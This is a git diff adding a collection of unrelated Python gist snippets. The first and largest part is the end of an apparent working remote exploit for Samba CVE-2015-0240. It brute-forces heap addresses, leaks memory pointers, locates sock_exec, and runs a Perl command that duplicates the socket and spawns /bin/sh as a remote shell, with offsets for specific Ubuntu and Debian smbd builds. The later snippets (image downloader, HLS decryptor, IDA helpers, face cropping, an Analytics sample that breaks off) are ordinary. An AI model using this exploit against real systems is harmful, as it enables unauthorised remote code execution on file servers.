+            #print('{:x}, {:x}, {:x}, {:x}'.format(answers[0], answers[1], answers[2], answers[3]))
+            answers = None # no next or prev in answers => wrong answer
+            force_dce_disconnect() # heap is corrupted, disconnect it
+    
+    return answers
+    
+def leak_info_addr(payload_addr, r_out_addr, leak_addr, retry=True):
+    # leak by replace r->out.return_authenticator pointer
+    # Note:  because leak_addr[4:8] will be replaced with r_out_addr
+    # only answers[0] and answers[2] are leaked
+    return leak_info_unlink(payload_addr, leak_addr, r_out_addr, retry)
+
+def leak_info_addr2(payload_addr, r_out_addr, leak_addr, retry=True):
+    # leak by replace r->out.return_authenticator pointer
+    # Note: leak_addr[0:4] will be replaced with r_out_addr
+    # only answers[1] and answers[2] are leaked
+    return leak_info_unlink(payload_addr, r_out_addr-4, leak_addr-4, retry)
+
+def leak_uint8t_addr(payload_addr, r_out_addr, chunk_addr):
+    # leak name field ('uint8_t') in found heap chunk
+    # do not retry this leak, because r_out_addr is guessed
+    answers = leak_info_addr(payload_addr, r_out_addr, chunk_addr + 0x18, False)
+    if answers is None:
+        return None
+    if answers[2] != TALLOC_MAGIC:
+        force_dce_disconnect()
+        return None
+
+    return answers[0]
+
+def leak_info_find_offset(info):
+    # offset from pool to payload still does not know
+    print("[*] guessing 'r' offset and leaking 'uint8_t' address ...")
+    chunk_addr = info['chunk_addr']
+    uint8t_addr = None
+    r_addr = None
+    r_out_addr = None
+    while uint8t_addr is None:
+        # 0x8c10 <= 4 + 0x7f88 + 0x2044 - 0x13c0
+        # 0x9ce0 <= 4 + 0x7f88 + 0x10d0 + 0x2044 - 0x13c0
+        # 0xadc8 <= 4 + 0x7f88 + 0x10e8 + 0x10d0 + 0x2044 - 0x13c0
+        # 0xad40 is extra offset when no share on debian
+        # 0x10d38 is extra offset when only [printers] is shared on debian
+        for offset in (0x8c10, 0x9ce0, 0xadc8, 0xad40, 0x10d38):
+            r_addr = chunk_addr - offset
+            # 0x18 is out.authenticator offset
+            r_out_addr = r_addr + 0x18
+            print(" [*] try 'r' offset 0x{:x}, r_out addr: 0x{:x}".format(offset, r_out_addr))
+            
+            uint8t_addr = leak_uint8t_addr(info['payload_addr'], r_out_addr, chunk_addr)
+            if uint8t_addr is not None:
+                print("  [*] success")
+                break
+            print("  [-] failed")
+        if uint8t_addr is None:
+            return False
+    
+    info['uint8t_addr'] = uint8t_addr
+    info['r_addr'] = r_addr
+    info['r_out_addr'] = r_out_addr
+    info['pool_addr'] = r_addr - 0x13c0
+    
+    print(" [+] text 'uint8_t' addr: {:x}".format(info['uint8t_addr']))
+    print(" [+] pool addr: {:x}".format(info['pool_addr']))
+    
+    return True
+    
+def leak_sock_fd(info):
+    # leak sock fd from
+    # smb_request->sconn->sock
+    #   (offset: ->0x3c ->0x0 )
+    print("[*] leaking socket fd ...")
+    info['smb_request_addr'] = info['pool_addr']+0x11a0
+    print(" [*] smb request addr: {:x}".format(info['smb_request_addr']))
+    answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr']+0x3c-4)
+    if answers is None:
+        print(' [-] cannot leak sconn_addr address :(')
+        return None
+    force_dce_disconnect() # heap is corrupted, disconnect it
+    sconn_addr = answers[2]
+    info['sconn_addr'] = sconn_addr
+    print(' [+] sconn addr: {:x}'.format(sconn_addr))
+    
+    # write in padding of chunk, no need to disconnect
+    answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], sconn_addr)
+    if answers is None:
+        print('cannot leak sock_fd address :(')
+        return None
+    sock_fd = answers[1]
+    print(' [+] sock fd: {:d}'.format(sock_fd))
+    info['sock_fd'] = sock_fd
+    return sock_fd
+
+def leak_talloc_pop_addr(info):
+    # leak destructor talloc_pop() address
+    # overwrite name field, no need to disconnect
+    print('[*] leaking talloc_pop address')
+    answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], info['pool_addr'] + 0x14)
+    if answers is None:
+        print(' [-] cannot leak talloc_pop() address :(')
+        return None
+    if answers[2] != 0x2010: # chunk size must be 0x2010
+        print(' [-] cannot leak talloc_pop() address. answers[2] is wrong :(')
+        return None
+    talloc_pop_addr = answers[0]
+    print(' [+] talloc_pop addr: {:x}'.format(talloc_pop_addr))
+    info['talloc_pop_addr'] = talloc_pop_addr
+    return talloc_pop_addr
+
+def leak_smbd_server_connection_handler_addr(info):
+    # leak address from
+    # smbd_server_connection.smb1->fde ->handler
+    #       (offset:             ->0x9c->0x14 )
+    # MUST NOT disconnect after getting smb1_fd_event address
+    print('[*] leaking smbd_server_connection_handler address')
+    def real_leak_conn_handler_addr(info):
+        answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['sconn_addr'] + 0x9c)
+        if answers is None:
+            print(' [-] cannot leak smb1_fd_event address :(')
+            return None
+        smb1_fd_event_addr = answers[1]
+        print(' [*] smb1_fd_event addr: {:x}'.format(smb1_fd_event_addr))
+        
+        answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], smb1_fd_event_addr+0x14)
+        if answers is None:
+            print(' [-] cannot leak smbd_server_connection_handler address :(')
+            return None
+        force_dce_disconnect() # heap is corrupted, disconnect it
+        smbd_server_connection_handler_addr = answers[0]
+        diff = info['talloc_pop_addr'] - smbd_server_connection_handler_addr
+        if diff > 0x2000000 or diff < 0:
+            print(' [-] get wrong smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr))
+            smbd_server_connection_handler_addr = None
+        return smbd_server_connection_handler_addr
+    
+    smbd_server_connection_handler_addr = None
+    while smbd_server_connection_handler_addr is None:
+        smbd_server_connection_handler_addr = real_leak_conn_handler_addr(info)
+    
+    print(' [+] smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr))
+    info['smbd_server_connection_handler_addr'] = smbd_server_connection_handler_addr
+    
+    return smbd_server_connection_handler_addr
+
+def find_smbd_base_addr(info):
+    # estimate smbd_addr from talloc_pop
+    if (info['talloc_pop_addr'] & 0xf) != 0 or (info['smbd_server_connection_handler_addr'] & 0xf) != 0:
+        # code has no alignment
+        start_addr = info['smbd_server_connection_handler_addr'] - 0x124000
+    else:
+        start_addr = info['smbd_server_connection_handler_addr'] - 0x130000
+    start_addr = start_addr & 0xfffff000
+    stop_addr = start_addr - 0x20000
+    
+    print('[*] finding smbd loaded addr ...')
+    while True:
+        smbd_addr = start_addr
+        while smbd_addr >= stop_addr:
+            if addr2utf_prefix(smbd_addr-8) == 3:
+                # smbd_addr is 0xb?d?e000
+                test_addr = smbd_addr - 0x800 - 4
+            else:
+                test_addr = smbd_addr - 8
+            # test writable on test_addr
+            answers = leak_info_addr(info['payload_addr'], 0, test_addr, retry=False)
+            if answers is not None:
+                break
+            smbd_addr -= 0x1000 # try prev page
+        if smbd_addr > stop_addr:
+            break
+        print(' [-] failed. try again.')
+        
+    info['smbd_addr'] = smbd_addr
+    print(' [+] found smbd loaded addr: {:x}'.format(smbd_addr))
+
+def dump_mem_call_addr(info, target_addr):
+    # leak pipes_struct address from
+    # smbd_server_connection->chain_fsp->fake_file_handle->private_data
+    #       (offset:        ->0x48     ->0xd4            ->0x4 )
+    # Note:
+    # - MUST NOT disconnect because chain_fsp,fake_file_handle,pipes_struct address will be changed
+    # - target_addr will be replaced with current_pdu_sent address
+    # check read_from_internal_pipe() in source3/rpc_server/srv_pipe_hnd.c
+    print(' [*] overwrite current_pdu_sent for dumping memory ...')
+    answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr'] + 0x48)
+    if answers is None:
+        print('  [-] cannot leak chain_fsp address :(')
+        return False
+    chain_fsp_addr = answers[1]
+    print('  [*] chain_fsp addr: {:x}'.format(chain_fsp_addr))
+    
+    answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], chain_fsp_addr+0xd4, retry=False)
+    if answers is None:
+        print('  [-] cannot leak fake_file_handle address :(')
+        return False
+    fake_file_handle_addr = answers[0]
+    print('  [*] fake_file_handle addr: {:x}'.format(fake_file_handle_addr))
+
+    answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], fake_file_handle_addr+0x4-0x4, retry=False)
+    if answers is None:
+        print('  [-] cannot leak pipes_struct address :(')
+        return False
+    pipes_struct_addr = answers[2]
+    print('  [*] pipes_struct addr: {:x}'.format(pipes_struct_addr))
+    
+    current_pdu_sent_addr = pipes_struct_addr+0x84
+    print('  [*] current_pdu_sent addr: {:x}'.format(current_pdu_sent_addr))
+    # change pipes->out_data.current_pdu_sent to dump memory
+    return leak_info_unlink(info['payload_addr'], current_pdu_sent_addr-4, target_addr, call_only=True)
+
+def dump_smbd_find_bininfo(info):
+    def recv_till_string(data, s):
+        pos = len(data)
+        while True:
+            data += force_recv()
+            if len(data) == pos:
+                print('no more data !!!')
+                return None
+            p = data.find(s, pos-len(s))
+            if p != -1:
+                return (data, p)
+            pos = len(data)
+        return None
+
+    def lookup_dynsym(dynsym, name_offset):
+        addr = 0
+        i = 0
+        offset_str = pack("<I", name_offset)
+        while i < len(dynsym):
+            if dynsym[i:i+4] == offset_str:
+                addr = unpack("<I", dynsym[i+4:i+8])[0]
+                break
+            i += 16
+        return addr
+    
+    print('[*] dumping smbd ...')
+    dump_call = False
+    # have to minus from smbd_addr because code section is read-only
+    if addr2utf_prefix(info['smbd_addr']-4) == 3:
+        # smbd_addr is 0xb?d?e000
+        dump_addr = info['smbd_addr'] - 0x800 - 4
+    else:
+        dump_addr = info['smbd_addr'] - 4
+    for i in range(8):
+        if dump_mem_call_addr(info, dump_addr):
+            mem = force_recv()
+            if len(mem) == 4280:
+                dump_call = True
+                break
+        print(' [-] dump_mem_call_addr failed. try again')
+        force_dce_disconnect()
+    if not dump_call:
+        print(' [-] dump smbd failed')
+        return False
+    
+    print(' [+] dump success. getting smbd ...')
+    # first time, remove any data before \7fELF
+    mem = mem[mem.index('\x7fELF'):]
+
+    mem, pos = recv_till_string(mem, '\x00__gmon_start__\x00')
+    print(' [*] found __gmon_start__ at {:x}'.format(pos+1))
+    
+    pos = mem.rfind('\x00\x00', 0, pos-1)
+    dynstr_offset = pos+1
+    print(' [*] found .dynstr section at {:x}'.format(dynstr_offset))
+    
+    dynstr = mem[dynstr_offset:]
+    mem = mem[:dynstr_offset]
+    
+    # find start of .dynsym section
+    pos = len(mem) - 16
+    while pos > 0:
+        if mem[pos:pos+16] == '\x00'*16:
+            break
+        pos -= 16 # sym entry size is 16 bytes
+    if pos <= 0:
+        print(' [-] found wrong .dynsym section at {:x}'.format(pos))
+        return None
+    dynsym_offset = pos
+    print(' [*] found .dynsym section at {:x}'.format(dynsym_offset))
+    dynsym = mem[dynsym_offset:]
+    
+    # find sock_exec
+    dynstr, pos = recv_till_string(dynstr, '\x00sock_exec\x00')
+    print(' [*] found sock_exec string at {:x}'.format(pos+1))
+    sock_exec_offset = lookup_dynsym(dynsym, pos+1)
+    print(' [*] sock_exec offset {:x}'.format(sock_exec_offset))
+        
+    #info['mem'] = mem  # smbd data before .dynsym section
+    info['dynsym'] = dynsym
+    info['dynstr'] = dynstr # incomplete section
+    info['sock_exec_addr'] = info['smbd_addr']+sock_exec_offset
+    print(' [+] sock_exec addr: {:x}'.format(info['sock_exec_addr']))
+    
+    # Note: can continuing memory dump to find ROP
+    
+    force_dce_disconnect()
+    
+########
+# code execution
+########
+def call_sock_exec(info):
+    prefix_len = addr2utf_prefix(info['sock_exec_addr'])
+    if prefix_len == 3:
+        return False # too bad... cannot call
+    if prefix_len == 2:
+        prefix_len = 0
+    fake_talloc_chunk_exec = pack("<IIIIIIIIIIII",
+        0, 0, # next, prev
+        0, 0,  # parent, child
+        0, # refs
+        info['sock_exec_addr'], # destructor
+        0, 0, # name, size
+        TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag
+        0, 0, 0, # pool, pad, pad
+    )
+    chunk = '\x00'*prefix_len+fake_talloc_chunk_exec + info['cmd'] + '\x00'
+    set_payload(chunk, TARGET_PAYLOAD_SIZE)
+    for i in range(3):
+        if request_check_valid_addr(info['payload_addr']+TALLOC_HDR_SIZE+prefix_len):
+            print('waiting for shell :)')
+            return True
+    print('something wrong :(')
+    return False
+
+########
+# start work
+########
+
+def check_exploitable():
+    if request_check_valid_addr(0x41414141):
+        print('[-] seems not vulnerable')
+        return False
+    if request_check_valid_addr(0):
+        print('[+] seems exploitable :)')
+        return True
+    
+    print("[-] seems vulnerable but I cannot exploit")
+    print("[-] I can exploit only if 'creds' is controlled by 'ReferentId'")
+    return False
+
+def do_work(args):
+    info = {}
+    
+    if not (args.payload_addr or args.heap_start or args.start_payload_size):
+        if not check_exploitable():
+            return
+
+    start_size = 512*1024 # default size with 512KB
+    if args.payload_addr:
+        info['payload_addr'] = args.payload_addr
+    else:
+        heap_start = args.heap_start if args.heap_start else 0xb9800000+0x30000
+        if args.start_payload_size:
+            start_size = args.start_payload_size * 1024
+        if start_size < TARGET_PAYLOAD_SIZE:
+            start_size = 512*1024 # back to default
+        info['payload_addr'] = find_payload_addr(heap_start, start_size, TARGET_PAYLOAD_SIZE)
+    
+    # the real talloc chunk address that stored the raw netlogon data
+    # serverHandle 0x10 bytes. accountName 0xc bytes
+    info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE
+    print("[+] chunk addr: {:x}".format(info['chunk_addr']))
+
+    while not leak_info_find_offset(info):
+        # Note: do heap bruteforcing again seems to be more effective
+        # start from payload_addr + some offset
+        print("[+] bruteforcing heap again. start from {:x}".format(info['payload_addr']+0x10000))
+        info['payload_addr'] = find_payload_addr(info['payload_addr']+0x10000, start_size, TARGET_PAYLOAD_SIZE)
+        info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE
+        print("[+] chunk addr: {:x}".format(info['chunk_addr']))
+
+    got_fd = leak_sock_fd(info)
+    
+    # create shell command for reuse sock fd
+    cmd = "perl -e 'use POSIX qw(dup2);$)=0;$>=0;"  # seteuid, setegid
+    cmd += "dup2({0:d},0);dup2({0:d},1);dup2({0:d},2);".format(info['sock_fd']) # dup sock
+    # have to kill grand-grand-parent process because sock_exec() does fork() then system()
+    # the smbd process still receiving data from socket
+    cmd += "$z=getppid;$y=`ps -o ppid= $z`;$x=`ps -o ppid= $y`;kill 15,$x,$y,$z;"  # kill parents
+    cmd += """print "shell ready\n";exec "/bin/sh";'"""  # spawn shell
+    info['cmd'] = cmd
+
+    # Note: cannot use system@plt because binary is PIE and chunk dtor is called in libtalloc.
+    #       the ebx is not correct for resolving the system address
+    smbd_info = {
+        0x5dd: { 'uint8t_offset': 0x711555, 'talloc_pop': 0x41a890, 'sock_exec': 0x0044a060, 'version': '3.6.3-2ubuntu2 - 3.6.3-2ubuntu2.3'},
+        0xb7d: { 'uint8t_offset': 0x711b7d, 'talloc_pop': 0x41ab80, 'sock_exec': 0x0044a380, 'version': '3.6.3-2ubuntu2.9'},
+        0xf7d: { 'uint8t_offset': 0x710f7d, 'talloc_pop': 0x419f80, 'sock_exec': 0x00449770, 'version': '3.6.3-2ubuntu2.11'},
+        0xf1d: { 'uint8t_offset': 0x71ff1d, 'talloc_pop': 0x429e80, 'sock_exec': 0x004614b0, 'version': '3.6.6-6+deb7u4'},
+    }
+
+    leak_talloc_pop_addr(info)  # to double check the bininfo
+    bininfo = smbd_info.get(info['uint8t_addr'] & 0xfff)
+    if bininfo is not None:
+        smbd_addr = info['uint8t_addr'] - bininfo['uint8t_offset']
+        if smbd_addr + bininfo['talloc_pop'] == info['talloc_pop_addr']:
+            # correct info
+            print('[+] detect smbd version: {:s}'.format(bininfo['version']))
+            info['smbd_addr'] = smbd_addr
+            info['sock_exec_addr'] = smbd_addr + bininfo['sock_exec']
+            print(' [*] smbd loaded addr: {:x}'.format(smbd_addr))
+            print(' [*] use sock_exec offset: {:x}'.format(bininfo['sock_exec']))
+            print(' [*] sock_exec addr: {:x}'.format(info['sock_exec_addr']))
+        else:
+            # wrong info
+            bininfo = None
+        
+    got_shell = False
+    if bininfo is None:
+        # no target binary info. do a hard way to find them.
+        """
+        leak smbd_server_connection_handler for 2 purposes
+        - to check if compiler does code alignment
+        - to estimate smbd loaded address
+          - gcc always puts smbd_server_connection_handler() function at
+            beginning area of .text section
+          - so the difference of smbd_server_connection_handler() offset is
+            very low for all smbd binary (compiled by gcc)
+        """   
+        leak_smbd_server_connection_handler_addr(info)
+        find_smbd_base_addr(info)
+        dump_smbd_find_bininfo(info)
+
+    # code execution
+    if 'sock_exec_addr' in info and call_sock_exec(info):
+        s = get_socket()
+        print(s.recv(4096)) # wait for 'shell ready' message
+        s.send('uname -a\n')
+        print(s.recv(4096))
+        s.send('id\n')
+        print(s.recv(4096))
+        s.send('exit\n')
+        s.close()
+
+
+def hex_int(x):
+    return int(x,16)
+    
+# command arguments
+parser = argparse.ArgumentParser(description='Samba CVE-2015-0240 exploit')
+parser.add_argument('target', help='target IP address')
+parser.add_argument('-hs', '--heap_start', type=hex_int,
+            help='heap address in hex to start bruteforcing')
+parser.add_argument('-pa', '--payload_addr', type=hex_int, 
+            help='exact payload (accountName) address in heap. If this is defined, no heap bruteforcing')
+parser.add_argument('-sps', '--start_payload_size', type=int,
+            help='start payload size for bruteforcing heap address in KB. (128, 256, 512, ...)')
+
+args = parser.parse_args()
+requester.set_target(args.target)
+
+
+try:
+    do_work(args)
+except KeyboardInterrupt:
+    pass
diff --git a/hard-gists/053b89bd6975f89f043871335dce8c5b/._snippet.py b/hard-gists/053b89bd6975f89f043871335dce8c5b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/053b89bd6975f89f043871335dce8c5b/._snippet.py differ
diff --git a/hard-gists/053b89bd6975f89f043871335dce8c5b/snippet.py b/hard-gists/053b89bd6975f89f043871335dce8c5b/snippet.py
new file mode 100644
index 00000000..6e8248ff
--- /dev/null
+++ b/hard-gists/053b89bd6975f89f043871335dce8c5b/snippet.py
@@ -0,0 +1,32 @@
+import pprint
+import requests
+import os
+from urllib.request import urlopen
+
+accessToken = "xxxxxxxxxx"
+boardId = "0000000000"
+folderPath = "./images"
+
+response = requests.get(
+    'https://api.pinterest.com/v3/boards/'+boardId+'/pins/',
+    params={'access_token':accessToken,
+            'fields':'pin.images[750x],pin.description,pin.image_signature',
+            'page_size':100
+            })
+
+if(os.path.isdir(folderPath) == False):
+    os.makedirs(folderPath)
+
+imageDatas = response.json()['data']
+for imageData in imageDatas:
+    pprint.pprint(imageData)
+    imageUrl = imageData['images']['750x']['url']
+    imageDesc = imageData['description']
+    imageSig = imageData['image_signature']
+
+    extensions = imageUrl.split('.')
+    extension = extensions[len(extensions)-1]
+
+    f = open(folderPath+"/"+imageSig+"."+extension,'wb')
+    f.write(urlopen(imageUrl).read())
+    f.close()
\ No newline at end of file
diff --git a/hard-gists/053db410f7fdd4e1d6034a0a7fd45d9b/._snippet.py b/hard-gists/053db410f7fdd4e1d6034a0a7fd45d9b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/053db410f7fdd4e1d6034a0a7fd45d9b/._snippet.py differ
diff --git a/hard-gists/053db410f7fdd4e1d6034a0a7fd45d9b/snippet.py b/hard-gists/053db410f7fdd4e1d6034a0a7fd45d9b/snippet.py
new file mode 100644
index 00000000..6bb46e35
--- /dev/null
+++ b/hard-gists/053db410f7fdd4e1d6034a0a7fd45d9b/snippet.py
@@ -0,0 +1,60 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import os
+import re
+import requests
+import sys
+from Crypto.Cipher import AES
+
+
+def decrypt(data, key, iv):
+    """Decrypt using AES CBC"""
+    decryptor = AES.new(key, AES.MODE_CBC, IV=iv)
+    return decryptor.decrypt(data)
+
+
+def get_binary(url):
+    """Get binary data from URL"""
+    data = ''
+    for chunk in requests.get(url, stream=True):
+        data += chunk
+    return data
+
+
+def main(filename, output_folder, skip_ad=True):
+    """Main"""
+    with open(filename, 'r') as f:
+        data = f.read()
+    # make output folder
+    if not os.path.exists(output_folder):
+        os.makedirs(output_folder)
+    # download and decrypt chunks
+    for part_id, sub_data in enumerate(data.split('#UPLYNK-SEGMENT:')):
+        # skip ad
+        if skip_ad:
+            if re.findall('#UPLYNK-SEGMENT:.*,.*,ad', '#UPLYNK-SEGMENT:' + sub_data):
+                continue
+        # get key, iv and data
+        chunks = re.findall('#EXT-X-KEY:METHOD=AES-128,URI="(.*)",IV=(.*)\s.*\s(.*)', sub_data)
+        for chunk in chunks:
+            key_url = chunk[0]
+            iv_val = chunk[1][2:]
+            data_url = chunk[2]
+            file_name = os.path.basename(data_url).split('?')[0]
+            print('Processing "%s"' % file_name)
+            # download key and data
+            key = get_binary(key_url)
+            enc_data = get_binary(data_url)
+            iv = iv_val.decode('hex')
+            # save decrypted data to file
+            out_file = os.path.join(output_folder, '%s' % file_name)
+            with open(out_file, 'wb') as f:
+                dec_data = decrypt(enc_data, key, iv)
+                f.write(dec_data)
+
+
+if __name__ == '__main__':
+    if len(sys.argv) < 3:
+        sys.exit('Usage: %s <m3u8_file> <out_folder>' % os.path.basename(sys.argv[0]))
+    main(sys.argv[1], sys.argv[2], skip_ad=True)
diff --git a/hard-gists/054023c4fca5369ffdb2/._snippet.py b/hard-gists/054023c4fca5369ffdb2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/054023c4fca5369ffdb2/._snippet.py differ
diff --git a/hard-gists/054023c4fca5369ffdb2/snippet.py b/hard-gists/054023c4fca5369ffdb2/snippet.py
new file mode 100644
index 00000000..1ca9671e
--- /dev/null
+++ b/hard-gists/054023c4fca5369ffdb2/snippet.py
@@ -0,0 +1,13 @@
+import os
+import idaapi
+import idautils
+import clipboard
+
+def copy_windbg_bp():
+    bp = 'bu @!"{}"+0x{:X}'.format(
+        os.path.splitext(idaapi.get_root_filename())[0],
+        idaapi.get_screen_ea() - idautils.peutils_t().imagebase
+        )
+    clipboard.copy(bp)
+
+idaapi.add_hotkey('3', copy_windbg_bp)
\ No newline at end of file
diff --git a/hard-gists/056626de3fbdc7cf7b59de1d9f6279d1/._snippet.py b/hard-gists/056626de3fbdc7cf7b59de1d9f6279d1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/056626de3fbdc7cf7b59de1d9f6279d1/._snippet.py differ
diff --git a/hard-gists/056626de3fbdc7cf7b59de1d9f6279d1/snippet.py b/hard-gists/056626de3fbdc7cf7b59de1d9f6279d1/snippet.py
new file mode 100644
index 00000000..71a5515a
--- /dev/null
+++ b/hard-gists/056626de3fbdc7cf7b59de1d9f6279d1/snippet.py
@@ -0,0 +1,67 @@
+# USAGE
+# python face_detection.py --image face1.jpg
+
+# import the necessary packages
+# from imutils import face_utils
+# import numpy as np
+import argparse
+import imutils
+import dlib
+import cv2
+# from matplotlib import pyplot as plt
+
+def rect_to_bb(rect):
+    # take a bounding predicted by dlib and convert it
+    # to the format (x, y, w, h) as we would normally do
+    # with OpenCV
+    x = rect.left()
+    y = rect.top()
+    w = rect.right() - x
+    h = rect.bottom() - y
+
+    # return a tuple of (x, y, w, h)
+    return (x, y, w, h)
+
+
+# construct the argument parser and parse the arguments
+ap = argparse.ArgumentParser()
+ap.add_argument("-i", "--image", required=True, help="path to input image")
+args = vars(ap.parse_args())
+
+# load the input image, resize it, and convert it to grayscale
+image = cv2.imread(args["image"])
+image = imutils.resize(image, width=500)
+gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
+
+# initialize dlib's face detector (HOG-based) and then create
+# the facial landmark predictor
+detector = dlib.get_frontal_face_detector()
+
+# detect faces in the grayscale image
+rects = detector(gray, 1)
+print(len(rects))
+
+fname = args["image"].split('/')[-1]
+name, ext = fname.split('.')
+
+# loop over the face detections
+for (i, rect) in enumerate(rects):
+    # determine the facial landmarks for the face region, then
+    # convert the landmark (x, y)-coordinates to a NumPy array
+    (x, y, w, h) = rect_to_bb(rect)
+    print(i, x, y, w, h)
+
+    fname = '{}_{}.{}'.format(name, i, ext)
+    # clone the original image so we can draw on it, then
+    # display the name of the face part on the image
+    clone = image.copy()
+    cv2.rectangle(clone, (x, y), (x + w, y + h), (0, 255, 0), 1)
+    startX = x
+    startY = y - 15 if y - 15 > 15 else y + 15
+    cv2.putText(clone, str(i), (startX, startY),
+                cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2)
+    roi = image[y:y + h, x:x + w]
+    cv2.imshow("ROI", roi)
+    cv2.imwrite(fname, roi)
+    cv2.imshow("Image", clone)
+    cv2.waitKey(0)
diff --git a/hard-gists/05aadb969e43788593d3/._snippet.py b/hard-gists/05aadb969e43788593d3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/05aadb969e43788593d3/._snippet.py differ
diff --git a/hard-gists/05aadb969e43788593d3/snippet.py b/hard-gists/05aadb969e43788593d3/snippet.py
new file mode 100644
index 00000000..aea38a4b
--- /dev/null
+++ b/hard-gists/05aadb969e43788593d3/snippet.py
@@ -0,0 +1,88 @@
+"""
+The shellcode in Challege 6 compares the string in RDI
+against a bunch of conditions. This script extracts the
+conditions and solves the constraints, yielding the
+expected string.
+"""
+from idaapi import *
+from williutils import *
+
+
+def ror(x, n, bits = 32):
+    mask = (2L**n) - 1
+    mask_bits = x & mask
+    return (x >> (n % bits) | (mask_bits << ((bits - n) % bits)))
+
+
+def rol(x, n, bits = 32):
+    return ror(x, (bits - n) % bits, bits=bits)
+
+
+def mask(c):
+    return c & 0xFF
+
+
+# these functions do the inverse of their lowercase counterpart
+# so by applying them in reverse, then we can solve the simple constraint
+
+def ADD(c, x):
+    return mask(c - x)
+
+
+def SUB(c, x):
+    return mask(c + x)
+
+
+def XOR(c, x):
+    return mask(c ^ x)
+
+
+def ROL(c, x):
+    return mask(ror(c, x, 8))
+
+
+def ROR(c, x):
+    return mask(rol(c, x, 8))
+
+
+def get_handler(mnem):
+    return {
+            "add": ADD,
+            "sub": SUB,
+            "xor": XOR,
+            "ror": ROR,
+            "rol": ROL}[mnem]
+
+
+
+START = 0x1C
+
+
+def solve_one_character(ea):
+    c = GetOperandValue(ea, 1)
+    print "START", hex(c)
+    ea = PrevHead(ea)
+
+    while "[rax]" in GetOpnd(ea, 0):
+        print(GetMnem(ea).upper(), hex(GetOperandValue(ea, 1)))
+        c = get_handler(GetMnem(ea))(c, GetOperandValue(ea, 1))
+        ea = PrevHead(ea)
+    print "solved: " + chr(c)
+    return c
+
+
+def main():
+    ret = ""
+    ea = scan_forwards(START, mnem="cmp")
+    while ea:
+        ret += chr(solve_one_character(ea))
+        try:
+            ea = scan_forwards(ea, mnem="cmp")
+        except RuntimeError:
+            print(ret)
+            return
+
+
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/05bec6966701f720c3aa/._snippet.py b/hard-gists/05bec6966701f720c3aa/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/05bec6966701f720c3aa/._snippet.py differ
diff --git a/hard-gists/05bec6966701f720c3aa/snippet.py b/hard-gists/05bec6966701f720c3aa/snippet.py
new file mode 100644
index 00000000..da95ab7c
--- /dev/null
+++ b/hard-gists/05bec6966701f720c3aa/snippet.py
@@ -0,0 +1,196 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+#
+# Copyright 2012 Google Inc. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+"""Simple intro to using the Google Analytics API v3.
+
+This application demonstrates how to use the python client library to access
+Google Analytics data. The sample traverses the Management API to obtain the
+authorized user's first profile ID. Then the sample uses this ID to
+contstruct a Core Reporting API query to return the top 25 organic search
+terms.
+
+Before you begin, you must sigup for a new project in the Google APIs console:
+https://code.google.com/apis/console
+
+Then register the project to use OAuth2.0 for installed applications.
+
+Finally you will need to add the client id, client secret, and redirect URL
+into the client_secrets.json file that is in the same directory as this sample.
+
+Sample Usage:
+
+  $ python hello_analytics_api_v3.py
+
+Also you can also get help on all the command-line flags the program
+understands by running:
+
+  $ python hello_analytics_api_v3.py --help
+"""
+
+__author__ = 'api.nickm@gmail.com (Nick Mihailovski)'
+
+
+import argparse
+import sys
+import csv
+import string
+
+from apiclient.errors import HttpError
+from apiclient import sample_tools
+from oauth2client.client import AccessTokenRefreshError
+
+class SampledDataError(Exception): pass
+
+
+def main(argv):
+  # Authenticate and construct service.
+  service, flags = sample_tools.init(
+      argv, 'analytics', 'v3', __doc__, __file__,
+      scope='https://www.googleapis.com/auth/analytics.readonly')
+
+  # Try to make a request to the API. Print the results or handle errors.
+  try:
+    profile_id = profile_ids[profile]
+    if not profile_id:
+      print 'Could not find a valid profile for this user.'
+    else:
+      for start_date, end_date in date_ranges:
+        limit = ga_query(service, profile_id, 0,
+                                 start_date, end_date).get('totalResults')
+        for pag_index in xrange(0, limit, 10000):
+          results = ga_query(service, profile_id, pag_index,
+                                     start_date, end_date)
+          if results.get('containsSampledData'):
+            
+            raise SampledDataError
+          print_results(results, profile_id, pag_index, start_date, end_date)
+
+  except TypeError, error:    
+    # Handle errors in constructing a query.
+    print ('There was an error in constructing your query : %s' % error)
+
+  except HttpError, error:
+    # Handle API errors.
+    print ('Arg, there was an API error : %s : %s' %
+           (error.resp.status, error._get_reason()))
+
+  except AccessTokenRefreshError:
+    # Handle Auth errors.
+    print ('The credentials have been revoked or expired, please re-run '
+           'the application to re-authorize')
+  
+  except SampledDataError:
+    # force an error if ever a query returns data that is sampled!
+    print ('Error: Query contains sampled data!')
+
+
